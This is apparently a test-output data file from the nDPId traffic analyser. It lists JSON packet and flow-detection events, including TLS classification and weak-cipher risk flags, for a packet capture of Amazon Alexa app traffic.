+02382{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":279162,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcCfdAAOcGkFc0XuiGrBAq2AG7sl2f4NzC4WEA41AYf\/lbwwAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00886{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":279232,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBCflAAOcGlLA0XuiGrBAq2AG7sl2f4OJ24WEA41AYf\/mxKwAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01460{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":203,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":7,"flow_first_seen":1490976041156,"flow_last_seen":1490976041279,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45661,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00414{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":281352,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTnNAAEAG+I+sECrYNF7ohrJdAbvhYQDjn+DcwlAQAWKnpAAA"} +00414{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":286136,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTnRAAEAG+I6sECrYNF7ohrJdAbvhYQDjn+DidlAQAW2h5QAA"} +00415{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":286407,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTnVAAEAG+I2sECrYNF7ohrJdAbvhYQDjn+Djz1AQAXmggAAA"} +00860{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":289068,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuTnZAAEAG90asECrYNF7ohrJdAbvhYQDjn+Djz1AYAXn5XAAAFgMBAQYQAAECAQAtzgORy\/g0g9vj2nHseW1WiPYwT4NhYLZDOMBm5MwopvvT6unfvXsWITHkcQBQ36M2UUO+dc\/0G2ILvmjO2zj78a3B8U9KL8ypPVL07jTTphRDvQ8Kf7ABFi4qL+Rv+iPgxKYp6YX5n1w36B6667LHkNCOOxvxG09MjDdzSdEnvNDtM87TdbjSkpGoS\/7R2LjC7Pb4759uDYBg7PUE3W5a6NS81NkWbHUmOaezy3fpfqOUvPgVsr3vOkgp940tmhXIobGeK0HN0jpk8i4xKJ6\/2E5cc+EYCUN\/9UvXrXCW7Yo+w1vHTmGyMYn2XLRcDsqSFZpeEcz8xHXI3W6M7zU4FAMBAAEBFgMBADDVDr1gu1wRttkhVNFJG5m0o0VRbOIw5nMFfmFU5flHVAYzqmYBp7fx\/y5SoL4pZTg="} +00424{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":346140,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoDFhAAOcGk6o0XuiGrBAq2AG7sl2f4OPP4WECKVAQf\/QgvwAAAAAAAAAA"} +00498{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":349210,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjDHpAAOcGk000XuiGrBAq2AG7sl2f4OPP4WECKVAYf\/QnqQAAFAMBAAEBFgMBADBEgj5BQlmqnjck6gJV3g3MD77DFNz8x0Ta4FpV9OmMaRgBcq5cWGP4bkCGZehVgXQ="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1490976041384,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45662,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":384197,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA807JAAEAGczysECrYNF7ohrJeAbv1uZ3IAAAAAKAC\/\/+9JQAAAgQFtAQCCAoA9k56AAAAAAEDAwg="} +00416{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":389821,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTndAAEAG+IusECrYNF7ohrJdAbvhYQIpn+DkClAQAXme\/wAA"} +01893{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":398164,"pkt_caplen":1136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1136,"pkt_l4_len":1102,"pkt":"AMDKkaPvePiC0\/vCCABFAARiTnhAAEAG9FCsECrYNF7ohrJdAbvhYQIpn+DkClAYAXlFJAAAFwMBACBWeyzwMUIxuTS3EYK+r1KNk5zBXWTTCDBiRf\/exwOP\/BcDAQQQEOkjUEfxZD7cj5q98qZB\/VbRXromrwu7xTF1JPZ6IwVnFksbUYwa2rZcw4uE1KFPADaJ7OTfAe3c2xFQKkonXC+EUeptu1NlGDzpw4TlBkC3jBIvDwDjaFU2TK0IbQ48\/Z9jmuwB4H9P2AdE8j4RgojrtXCA6szky21LbyxtG3Pwv5jRAL1J0O73de9g2PFayrFGAKuoK2P\/y88EEa+\/pik3RmuBNdwH9C8Q0tSFLbsltH\/OyHJHnBqeXrgLt55ruANRtVvTZSriQsnEUCLd2hOQDxk1S5jOanYnjKdWQCeholwtryzdhqIL\/R0L2AVNABGffaHl\/7ejBl9XIIhhY0bVddpHQfYy\/T59dfPjKZZ3F1RTJbG9ntREnGwJEhYzaehmoJf1ukhlgp0LNgCro1RjSf2msdB8TM5YpkdL\/+keBnliovzDoT3CvwJ88kFuT\/PSH+d4ADkbjwVUUAMhzhdAGqk3+deoeOjAqG1tKJyTFnT2EGu2HtBSACi9IRN7G6KbQEVVyV8CcdbNq9hgSGv5pXLj+40yd8IRdcbJ6wxY8MO2O\/H9CSDhP\/I0RM2VAHQHsVjKKZqzbjR1NLZZqXSC31Ur7z7\/95ewD502tRMD9TEnQzX7484ZYvs3Y3Xy+Bq9BouyIcn9s5CSCYj\/SmwLesYGLOlscw4vO0WWfeL2yyWflboy6nfnD4wKx9DX6N59qUqgozN6ujalVm+CobDMZaga0b2JQEl4EjQZ5i7mBYTMRA+lPgAw667ea8uJoIwg8eYJiTQktN+BzkekDWWd0mUGC2stqODn1CKgqSxJJ\/hbPsI2DgDS3Q4SEO6O\/MzFDW8J+n9jrfe5pArFBj9WIaEtzJ26Ugp7WENNwZnNMaozIHaFaLaaCuuDbh5xAgBYGJreqQShj4OB6GiflaQhdfRDBKJhdWRykk8ej8+LDqkDtkd6ly\/XQsEkpRDp8iPd3rU5KflsV\/9LoXST00kvkuczWBSkYcsh0BMcHOgA2U6bRRGkWXKmr\/TtYwRIwSWAfjd+wkbHH1tpGjlpz+hx0aTzR2dUfocMAjsEYjJ0NHALL1HCFl\/aB2WYC8HH5+2lFgbxVne1x4wNLWtwBG08fZjJFlw\/FsF4fCw1\/RCxumWPTDCoWLG78SLssmas8HwWsm0fcdA6EdAjFPMduNMSu2JMvJR5DXkYZsLgK2hyjeaVzNFtSFtUIXqNgw3McS9PXyEgFeBvtu\/Q8IFGL\/jjIac7Y6blGU7gIgz4DSQ6KcUoYlKQVUNvEGaqe\/FAU8HXJhZj9Mq2bwnrP19+pA7wvtjce1jYZTJ\/3ocs6IRWnkkbHj8KXOlW4S36S9GwgB+eLj9cvI+ZpGODn6up71quuUcxM2DgchZU7OaG8co="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1490976041400,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45663,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":400900,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ul5AAEAGjJCsECrYNF7ohrJfAburivQiAAAAAKAC\/\/+w9wAAAgQFtAQCCAoA9k58AAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1490976041428,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40200,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":428918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G65AAEAGvmusECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/V3gAAAgQFtAQCCAoA9k5+AAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":215,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1490976041434,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38391,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":434841,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8hqRAAEAGEYasECrYwKgLAZX3H5Abo8jbAAAAAKAC\/\/+78QAAAgQFtAQCCAoA9k5\/AAAAAAEDAwg="} +00422{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":437012,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFEAAoAABAAD0Gmy7AqAsBrBAq2B+QlfcAAAAAG6PI3FAUAABzNwAAAAAAAAAA"} +00427{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":439512,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwm7lAAOcGBEE0XuiGrBAq2AG7sl5u82R89bmdyXASH\/5VMQAAAgQFtAEDAwY="} +00414{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":440529,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07NAAEAGc0+sECrYNF7ohrJeAbv1uZ3JbvNkfVAQAVefogAA"} +00738{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":444441,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX07RAAEAGcl+sECrYNF7ohrJeAbv1uZ3JbvNkfVAYAVcAGwAAFgMBAOoBAADmAwOSkZ7MV5tRrPXYmwy49debN2XXTGXQ0IImU9DOeZ6S4yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgmprMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9mpoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACJqaAB0AFwAYysoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":219,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1490976041384,"flow_last_seen":1490976041444,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45662,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00427{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":446155,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwNmhAAOcGaZI0XuiGrBAq2AG7sl88IzNAq4r0I3ASH\/6tEQAAAgQFtAEDAwY="} +00414{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":447594,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoul9AAEAGjKOsECrYNF7ohrJfAburivQjPCMzQVAQAVf3ggAA"} +00738{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":448206,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXumBAAEAGi7OsECrYNF7ohrJfAburivQjPCMzQVAYAVegPwAAFgMBAOoBAADmAwPMxcZuQn9QgwOiuLXeL1fCgh6paRvCicrfIqGcHwVG8yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgysrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9ysoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACMrKAB0AFwAYamoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":222,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1490976041400,"flow_last_seen":1490976041448,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45663,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":498208,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoOWdAAOcGZps0XuiGrBAq2AG7sl88IzNBq4r1ElAQf\/h38gAAAAAAAAAA"} +00534{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":498343,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9OWlAAOcGZkQ0XuiGrBAq2AG7sl88IzNBq4r1ElAYf\/hRjgAAFgMBAEoCAABGAwFY3n0pDLntLgGwykQIDtHcfl7EStFhzm1bm1QlaW9friCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":227,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1490976041400,"flow_last_seen":1490976041498,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45663,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":498392,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdOW5AAOcGZl80XuiGrBAq2AG7sl88IzOWq4r1ElAYf\/geWwAAFgMBADDsOjqesfDUuV579G+uPu83a\/hqraVpKsCM2bckzAXis8k6OSXRw1uoTW+upJFbDWk="} 